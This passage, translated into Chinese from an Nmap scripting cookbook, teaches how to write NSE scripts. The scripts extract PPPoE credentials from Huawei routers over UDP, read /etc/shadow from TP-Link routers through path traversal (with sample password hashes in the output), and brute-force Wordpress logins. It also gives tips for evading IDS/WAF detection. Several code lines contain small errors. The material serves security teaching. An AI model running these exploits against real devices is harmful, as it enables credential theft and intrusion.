在脚本http-trendnet-tvip110w.nse中,我们使用shortport库中的别名http定义了执行规则:
portrule = shortport.http
别名shortport.http在文件/nselib/shortport.lua中定义如下:
LIKELY_HTTP_PORTS = {
80, 443, 631, 7080, 8080, 8088, 5800, 3872, 8180, 8000
}
LIKELY_HTTP_SERVICES = {
"http", "https", "ipp", "http-alt", "vnc-http", "oem-agent", "soap",
"http-proxy",
}
http = port_or_service(LIKELY_HTTP_PORTS, LIKELY_HTTP_SERVICES)
http库具有诸如http.head()、http.get()和http.post()的方法,分别对应于常见的 HTTP 方法HEAD、GET和POST,但它还有一个名为http.generic_request()的通用方法,允许开发人员更灵活地尝试更晦涩的 HTTP 动词。
在脚本http-trendnet-tvip110w中,我们使用函数http.head()检索 URI/anony/mjpg.cgi:
local resp = http.head(host, port, uri)
函数http.head()返回一个包含以下响应信息的表:
-
status-line:包含返回的状态行。例如,HTTP/1.1 404 Not Found。 -
status:包含 Web 服务器返回的状态码。 -
body:包含响应正文。 -
cookies:Web 服务器设置的 cookie 表。 -
header:返回的标题存储在关联表中。标题的名称用作索引。例如,header["server"]包含 Web 服务器返回的 Server 字段。 -
rawheader:按照它们被 Web 服务器发送的顺序编号的标题的数组。
脚本http-trendnet-tvip110w.nse中还使用了库stdnse。这个库是一组在编写 NSE 脚本时非常方便的杂项函数。脚本使用了函数stdnse.print_debug(),这是一个用于打印调试消息的函数。
stdnse.print_debug(<debug level required>, <format string>, arg1, arg2...)
这些库的完整文档可以在nmap.org/nsedoc/lib/http.html和nmap.org/nsedoc/lib/stdnse.html找到。
还有更多...
当页面不存在时,一些 Web 服务器不会返回常规的状态 404 代码响应,而是始终返回状态码 200。这是一个经常被忽视的方面,甚至我以前也犯过这个错误,假设状态码 200 意味着 URI 存在。我们需要小心处理这个问题,以避免在我们的脚本中出现误报。函数http.identify_404()和http.page_exists()被创建用于识别服务器是否返回常规的 404 响应以及给定页面是否存在。
local status_404, req_404, page_404 = http.identify_404(host, port)
如果函数http.identify_404(host, port)成功,我们可以使用http.page_exists():
if http.page_exists(data, req_404, page_404, uri, true) then
stdnse.print_debug(1, "Page exists! → %s", uri)
end
调试 Nmap 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
以编程方式设置用户代理
有些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递标题字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 流水线处理
某些 Web 服务器的配置支持在单个数据包中封装多个 HTTP 请求。这可能加快 NSE HTTP 脚本的执行速度,建议如果 Web 服务器支持,则使用它。默认情况下,http库尝试对 40 个请求进行流水线处理,并根据网络条件和Keep-Alive标头自动调整该数字。
用户需要设置脚本参数http.pipeline来调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 流水线处理,请使用函数http.pipeline_add()和http.pipeline()。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()向管道添加请求:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
添加请求后,使用http.pipeline()执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列中的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
另请参阅
-
使用 NSE 套接字发送 UDP 负载配方
-
使用 NSE 利用路径遍历漏洞配方
-
编写暴力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
-
第四章中的列出支持的 HTTP 方法配方,审计 Web 服务器
-
第四章中的检查 HTTP 代理是否开放配方,审计 Web 服务器
-
第四章中的检测 Web 应用程序防火墙配方,审计 Web 服务器
-
第四章中的检测可能的 XST 漏洞配方,审计 Web 服务器
使用 NSE 套接字发送 UDP 负载
Nmap 脚本引擎提供了一个强大的库,用于处理网络 I/O 操作,提供了一个接口到Nsock。Nsock 是 Nmap 的优化并行套接字库,其灵活性允许开发人员处理原始数据包,并决定是否使用阻塞或非阻塞的网络 I/O 操作。
这个教程将介绍编写一个 NSE 脚本的过程,该脚本从文件中读取有效负载并发送 UDP 数据包以利用华为 HG5xx 路由器的漏洞。
如何做...
当华为 HG5xx 路由器接收到 UDP 端口 43690 的特殊数据包时,会泄露敏感信息。这个漏洞引起了我的注意,因为这是一个非常流行的设备,可以远程工作,并获取有趣的信息,如 PPPoE 凭据、MAC 地址和确切的软件/固件版本。让我们编写一个脚本来利用这些设备:
- 首先,创建文件
huawei-hg5xx-udpinfo.nse并定义信息标签:
description=[[
Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modemsHuawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP.
The script works by sending a crafted UDP packet to port 43690 and then parsing the response that containsthe configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks.
Vulnerability discovered by Pedro Joaquin. No CVE assigned.
References:
* http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
* http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
]]
- 加载所需的库(Nmap 6.x 格式):
local "stdnse" = require "stdnse"
local "io" = require "io"
local "shortport" = require "shortport"
- 定义执行规则:
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
- 创建一个函数,从文件中加载 UDP 负载:
load_udp_payload = function()
local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
if (not(payload_l)) then
stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION)
return
end
local payload_h = io.open(payload_l, "rb")
local payload = payload_h:read("*a")
if (not(payload)) then
stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l)
if nmap.verbosity()>=2 then
return "[Error] Couldn't load payload"
end
return
end
payload_h:flush()
payload_h:close()
return payload
end
- 创建一个函数,创建一个 NSE 套接字并发送特殊的 UDP 数据包:
send_udp_payload = function(ip, timeout, payload)
local data
stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME)
local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
if (not(status)) then return end
status = socket:send(payload)
if (not(status)) then return end
status, data = socket:receive()
if (not(status)) then
socket:close()
return
end
socket:close()
return data
end
- 添加主要方法,加载并发送 UDP 负载:
action = function(host, port)
local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
local payload = load_udp_payload()
local response = send_udp_payload(host.ip, timeout, payload)
if response then
return parse_resp(response)
end
end
- 您可以使用以下命令运行最终脚本:
# nmap -sU -p43690 --script huawei-hg5xx-udpinfo <target>
一个有漏洞的设备将返回以下输出:
PORT STATE SERVICE REASON
-- 43690/udp open|filtered unknown no-response
-- |_huawei5xx-udp-info: |\x10||||||||<Firmware version>|||||||||||||||||||||||||||||||<MAC addr>|||<Software version>||||||||||||||||||||||||||||||||||||||||||||| <local ip>|||||||||||||||||||<remote ip>||||||||||||||||||<model>|||||||||||||||<pppoe user>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||<pppoe password>
工作原理...
我们的脚本huawei-hg5xx-udpinfo使用别名shortport.portnumber(ports, protos, states)定义了执行规则。如果 UDP 端口 43690 是open、open|filtered或filtered,我们的脚本将运行:
portrule = shortport.portnumber(43690, "udp", {"open", "open|filtered","filtered"})
您可以以几种不同的方式读取 NSE 参数,但推荐的函数是stdnse.get_script_args()。这允许多个赋值,并支持快捷赋值(您不必在参数名之前输入脚本名称):
local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
NSE 套接字由nmap库管理。要创建一个 NSE 套接字,使用函数nmap.new_socket(),要连接到这个套接字,使用connect():
local socket = nmap.new_socket("udp")
socket:set_timeout(tonumber(timeout))
local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
我们发送我们的 UDP 负载如下:
status = socket:send(payload)
我们从 NSE 套接字中读取响应:
status, data = socket:receive()
和往常一样,我们需要在完成时使用close()函数关闭套接字:
local socket = nmap.net_socket("udp")
…
socket:close()
现在我们可以处理接收到的数据。在这种情况下,我将用一个更容易阅读的输出替换空字符:
return data:gsub("%z", "|")
您可以从github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse下载完整的脚本。
还有更多...
脚本huawei-hg5xx-udpinfo使用标准的连接样式,其中创建套接字,建立连接,发送和/或接收数据,然后关闭连接。
如果您需要更多控制,nmap库还支持读取和写入原始数据包。脚本引擎使用libpcap包装器通过 Nsock 读取原始数据包,并可以在以太网或 IP 层发送它们。
当读取原始数据包时,您需要打开捕获设备并注册一个监听器,以处理数据包的到达。函数pcap_open()、pcap_receive()和pcap_close()对应于打开捕获设备、接收数据包和关闭监听器。我建议您查看脚本sniffer-detect(nmap.org/nsedoc/scripts/sniffer-detect.html)、firewalk(nmap.org/svn/scripts/firewalk.nse)和ipidseq(nmap.org/svn/scripts/ipidseq.nse)。
如果需要发送原始数据包,使用nmap.new_dnet()创建一个dnet对象,并根据层(IP 或以太网),使用ip_open()或ethernet_open()方法打开连接。要实际发送原始数据包,使用适当的ip_send()或ethernet_send()函数。来自脚本ipidseq.nse的以下片段说明了该过程:
local genericpkt = function(host, port)
local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4"
)
local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip)
tcp:tcp_set_dport(port)
updatepkt(tcp)
return tcp
end
...
local sock = nmap.new_dnet()
try(sock:ip_open())
try(sock:ip_send(tcp.buf))
sock:ip_close()
我鼓励您阅读这些库的整个文档,网址为nmap.org/nsedoc/lib/nmap.html。如果您正在使用原始数据包,库packet也会对您有很大帮助(nmap.org/nsedoc/lib/packet.html))。
异常处理
nmap库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap库的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()调用内。函数返回的第一个值表示完成状态。如果返回false或nil,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要进行设置和使用。nmap.new_try()定义的 catch 函数将在引发异常时执行。
以下示例代码是脚本mysql-vuln-cve2012-2122.nse的片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在此脚本中,catch 函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap的官方文档可在nmap.org/nsedoc/lib/nmap.html找到。
调试 Nmap 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
另请参阅
-
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 利用路径遍历漏洞配方
-
编写蛮力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
-
使用 NSE 线程、条件变量和互斥体在 NSE 中工作配方
使用 NSE 利用路径遍历漏洞
路径遍历漏洞存在于许多 Web 应用程序中。Nmap NSE 使渗透测试人员能够快速编写脚本来利用它们。Lua 还支持字符串捕获,这在使用比正则表达式更简单的语法来提取信息时非常有帮助。
这个配方将教你如何编写一个 NSE 脚本,以利用 TP-Link 路由器某些型号中存在的路径遍历漏洞。
如何做...
我们将编写一个 NSE 脚本,利用几个 NSE 库和 Lua 的字符串库来利用几个 TP-Link 路由器中的路径遍历漏洞。
- 创建文件
http-tplink-dir-traversal.nse并完成 NSE 信息标签:
description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciateany help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
- 加载所需的库(Nmap 6.x 格式):
local http = require "http"
local io = require "io"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
- 使用
shortport库的帮助定义执行规则:
portrule = shortport.http
- 编写一个函数来发送路径遍历请求并确定 Web 应用程序是否易受攻击:
local function check_vuln(host, port)
local evil_uri = "/help/../../etc/shadow"
stdnse.print_debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
local response = http.get(host, port, evil_uri)
if response.body and response.status==200 and response.body:match("root:") then
stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
return true
end
return false
end
- 读取并解析响应中的文件,借助 Lua 捕获(
.*)的一些帮助:
local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
- 最后,使用以下命令执行脚本:
$ nmap -p80 --script http-tplink-dir-traversal.nse <target>
易受攻击的设备将产生以下输出:
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-tplink-dir-traversal:
-- | VULNERABLE:
-- | Path traversal vulnerability in several TP-Link wireless routers
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- | This vulnerability can be exploited remotely and without authentication.
-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- | Disclosure date: 2012-06-18
-- | Extra information:
-- | /etc/shadow :
-- |
-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | bin::10933:0:99999:7:::
-- | daemon::10933:0:99999:7:::
-- | adm::10933:0:99999:7:::
-- | lp:*:10933:0:99999:7:::
-- | sync:*:10933:0:99999:7:::
-- | shutdown:*:10933:0:99999:7:::
-- | halt:*:10933:0:99999:7:::
-- | uucp:*:10933:0:99999:7:::
-- | operator:*:10933:0:99999:7:::
-- | nobody::10933:0:99999:7:::
-- | ap71::10933:0:99999:7:::
-- |
-- | References:
-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
它是如何工作的...
脚本http-tplink-dir-traversal.nse执行以下任务以利用讨论的路径遍历漏洞:
-
首先,它发送路径遍历请求以确定安装是否易受攻击。
-
如果安装易受攻击,则从 Web 服务器发送的响应中提取请求的文件。
-
向用户报告漏洞并提供概念验证。
在这种情况下,需要http库来发送包含路径遍历有效负载的 HTTP 请求。为了确定设备是否易受攻击,我们请求文件/etc/shadow,因为我们知道所有设备中都存在此文件,并且其中必须存在一个 root 帐户:
local response = http.get(host, port, "/help/../../../etc/shadow")
响应应该包含请求的文件,位于结束脚本标记</SCRIPT>之后的正文中:
要确认可利用性,我们只需要将响应主体与字符串"root:"进行匹配:
if response.body and response.status==200 and response.body:match("root:") then
stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
return true
end
Lua 捕获允许开发人员提取与给定模式匹配的字符串。它们非常有帮助,我强烈建议您尝试一下(www.lua.org/pil/20.3.html):
local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
一旦确认漏洞,建议使用vulns库进行报告。该库旨在统一各种 NSE 脚本使用的输出格式。它支持多个字段,以有组织的方式提供所有漏洞详细信息:
local vuln = {
title = 'Path traversal vulnerability in several TP-Link wireless routers',
state = vulns.STATE.NOT_VULN,
description = [[
Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
This vulnerability can be exploited without authentication.Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
references = {
'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
},
dates = {
disclosure = {year = '2012', month = '06', day = '18'}, },
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
在vulns库中定义了以下状态:
STATE_MSG = {
[STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
[STATE.NOT_VULN] = 'NOT VULNERABLE',
[STATE.VULN] = 'VULNERABLE',
[STATE.DoS] = 'VULNERABLE (DoS)',
[STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
[bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
[bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}
要返回漏洞报告,请使用make_output(vuln)。如果状态设置为除vulns.STATE.NOT_VULN之外的任何值,此函数将返回漏洞报告:
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = { title = "VULN TITLE", ...}
…
vuln.state = vulns.STATE.EXPLOIT
…
vuln_report:make_output(vuln)
检查前面示例中的脚本输出,以查看使用 NSE 库vulns时漏洞报告的外观。访问该库的官方文档,了解更多可能的报告字段及其用法:nmap.org/nsedoc/lib/vulns.html。
还有更多...
在编写 NSE 脚本以利用路径遍历漏洞时,请记住 IPS/IDS 供应商将创建补丁来识别您的检测探针。如果可能的话,我建议您使用支持的最隐秘的编码方案。在上一个示例中,应用程序没有正确读取其他编码,我们别无选择,只能使用众所周知的模式"../",这将被任何体面的 WAF/IPS/IDS 检测到。
我建议使用工具 Dotdotpwn(dotdotpwn.blogspot.com/)及其模块payload来定位利用路径遍历漏洞时的模糊编码。理想情况下,您还可以编写一个小函数,随机使用不同的路径遍历模式来处理每个请求:
local traversals = {"../", "%2f"}
调试 NSE 脚本
如果发生意外情况,请打开调试以获取额外信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
以编程方式设置用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递头字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 管线
一些 Web 服务器配置支持将一个以上的 HTTP 请求封装在单个数据包中。这可能加快 NSE HTTP 脚本的执行速度,建议在 Web 服务器支持的情况下使用。默认情况下,http库尝试对 40 个请求进行管线处理,并根据网络条件和Keep-Alive头自动调整该数字。
用户需要将脚本参数http.pipeline设置为调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 管线,请使用函数http.pipeline_add()和http.pipeline()。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()将请求添加到管道中:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
添加请求后,使用http.pipeline()执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
另请参阅
-
进行 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
检测 Web 应用程序防火墙配方第四章, 审计 Web 服务器
-
检测可能的 XST 漏洞配方第四章, 审计 Web 服务器
-
编写暴力脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
编写暴力脚本
暴力破解密码审计已经成为 Nmap 脚本引擎的一个主要优势。库brute允许开发人员快速编写脚本来执行他们的自定义暴力破解攻击。Nmap 提供了诸如unpwd这样的库,它可以访问灵活的用户名和密码数据库,以进一步定制攻击,以及creds库,它提供了一个接口来管理找到的有效凭据。
这个食谱将指导您通过使用 NSE 库brute,unpwdb和creds来执行针对 Wordpress 安装的暴力破解密码审计的过程。
如何做...
让我们编写一个 NSE 脚本来暴力破解 Wordpress 帐户:
- 创建文件
http-wordpress-brute.nse并填写信息标签:
description = [[
performs brute force password auditing against Wordpress CMS/blog installations.
This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses arestored using the credentials library.
Wordpress default uri and form names:
* Default uri:<code>wp-login.php</code>
* Default uservar: <code>log</code>
* Default passvar: <code>pwd</code>
]]
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
- 加载所需的库(Nmap 6.x 格式):
local brute = require "brute"
local creds = require "creds"
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
- 使用暴力引擎的 NSE 脚本需要按照以下方式实现其
Driver类:
Driver = {
new = function(self, host, port, options)
...
end,
check = function(self)
...
end
login = function(self)
...
end
connect = function(self)
...
end
disconnect = function(self)
...
end
}
- 让我们创建与我们的脚本相关的相应函数:
constructor函数负责读取脚本参数并设置脚本可能需要的任何其他选项:
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
o.port = port
o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
o.options = options
return o
end,
connect函数可以留空,因为在这种情况下不需要连接到套接字;我们正在对 HTTP 服务执行暴力破解密码审计攻击(库http在我们的下一个登录函数中使用时负责打开和关闭必要的套接字):
connect = function( self )
return true
end,
disconnect函数也可以在这个脚本中留空:
disconnect = function( self )
return true
end,
check函数用作在我们开始暴力破解密码攻击之前的健全性检查。请注意,这个函数最近被标记为不推荐使用,这些检查将需要在将来的版本中移动到主要部分:
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
- 最后是
login函数:
login = function( self, username, password )
-- Note the no_cache directive
stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
-- This redirect is taking us to /wp-admin
if response.status == 302 then
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
- 我们留下了代码的主要部分来初始化、配置和启动暴力引擎:
action = function( host, port )
local status, result, engine
local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
engine:setMaxThreads(thread_num)
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
return result
end
工作原理...
库brute为开发人员提供了一个有组织的接口,用于编写执行暴力破解密码审计的 NSE 脚本。暴力脚本的数量已经大大增加,目前 NSE 可以对许多应用程序、服务和协议进行暴力破解攻击:Apache Jserv、BackOrifice、Joomla、Citrix PN Web Agent XML、CVS、DNS、Domino Console、Dpap、IBM DB2、Wordpress、FTP、HTTP、Asterisk IAX2、IMAP、Informix Dynamic Server、IRC、iSCSI、LDAP、Couchbase Membase、RPA Tech Mobile Mouse、Metasploit msgrpc、Metasploit XMLRPC、MongoDB、MSSQL、MySQL、Nessus daemon、Netbus、Nexpose、Nping Echo、OpenVAS、Oracle、PCAnywhere、PostgreSQL、POP3、redis、rlogin、rsync、rpcap、rtsp、SIP、Samba、SMTP、SNMP、SOCKS、SVN、Telnet、VMWare Auth daemon 和 XMPP。
要使用这个库,我们需要创建一个Driver类并将其作为参数传递给暴力引擎。每次登录尝试都会创建这个类的一个新实例:
Driver:login = function( self, username, password )
Driver:check = function( self ) [Deprecated]
Driver:connect = function( self )
Driver:disconnect = function( self )
在脚本http-wordpress-brute中,函数connect()和disconnect()始终返回true,因为事先不需要建立连接。
login函数应返回一个布尔值来指示其状态。如果登录尝试成功,它还应返回一个Account对象:
brute.Account:new( username, password, "OPEN")
在这个脚本中,我们还通过使用库creds来存储凭据。这允许其他 NSE 脚本访问它们,用户甚至可以根据结果生成额外的报告。
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
还有更多...
NSE 库unpwdb和brute有几个脚本参数,用户可以调整这些参数以进行暴力破解密码审计攻击。
要使用不同的用户名和密码列表,分别设置参数userdb和passdb:
$ nmap -p80 --script http-wordpress-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
要在找到一个有效帐户后退出,请使用参数brute.firstOnly:
$ nmap -p80 --script http-wordpress-brute --script-args brute.firstOnly <target>
要设置不同的超时限制,请使用参数unpwd.timelimit。要无限期运行,将其设置为 0:
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=60m <target>
这些库的官方文档可以在以下网站找到:
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap库为 NSE 脚本提供了一个异常处理机制,旨在帮助处理网络 I/O 任务。
nmap库中的异常处理机制运行正常。我们将要监视异常的代码包装在nmap.try()调用内。函数返回的第一个值表示完成状态。如果返回false或nil,则第二个返回值必须是错误字符串。在成功执行的返回值的其余部分可以设置和使用。由nmap.new_try()定义的catch函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html)。在此脚本中,catch函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap的官方文档可以在nmap.org/nsedoc/lib/nmap.html找到。
Brute 模式
brute库支持不同的模式,可以改变攻击中使用的组合。可用的模式有:
user:对于userdb中列出的每个用户,将尝试passdb中的每个密码
$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
pass:对于passdb中列出的每个密码,将尝试userdb中的每个用户
$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
creds:这需要额外的参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
利用 HTTP 请求识别易受攻击的 Trendnet 网络摄像头配方
-
在第四章中的审计 Web 服务器中的暴力破解 HTTP 身份验证配方
-
在第四章中的审计 Web 服务器中的Brute-force 密码审计 Wordpress 安装配方
-
在第四章中的审计 Web 服务器中的Brute-force 密码审计 Joomla 安装配方
-
使用 NSE 套接字发送 UDP 有效载荷配方
-
在第四章中的审计 Web 服务器中的利用 NSE 的路径遍历漏洞配方
-
编写暴力破解脚本配方
-
使用 Web 爬行库配方
-
在 NSE 脚本中正确报告漏洞配方
-
编写自己的 NSE 库配方
使用 Web 爬行库
在渗透测试 Web 应用程序时,需要对 Web 服务器中的每个文件进行某些检查。诸如查找遗忘的备份文件之类的任务可能会显示应用程序源代码或数据库密码。 Nmap 脚本引擎支持 Web 爬行,以帮助我们处理需要 Web 服务器上现有文件列表的任务。
这个配方将向您展示如何编写一个 NSE 脚本,该脚本将爬行 Web 服务器,寻找具有.php扩展名的文件,并通过变量$_SERVER["PHP_SELF"]执行注入测试,以查找反射型跨站脚本漏洞。
操作步骤...
一项一些主要安全扫描程序忽略的常见任务是通过变量$_SERVER["PHP_SELF"]在 PHP 文件中查找反射型跨站脚本漏洞。在自动化此任务时,Web 爬行库httpspider非常方便,如下所示:
- 创建脚本文件
http-phpself-xss.nse并填写信息标签:
description=[[Crawls a web server and attempts to find PHP files vulnerable to reflected cross site scripting via the variable $_SERVER["PHP_SELF"].
This script crawls the web server to create a list of PHP files and then sends an attack vector/probe to identify PHP_SELF cross site scripting vulnerabilities.
PHP_SELF XSS refers to reflected cross site scripting vulnerabilities caused by the lack of sanitation of the variable <code>$_SERVER["PHP_SELF"]</code> in PHP scripts. This variable iscommonly used in php scripts that display forms and when the script file name is needed.
Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]:
*http://www.securityfocus.com/bid/37351
*http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage
*http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x
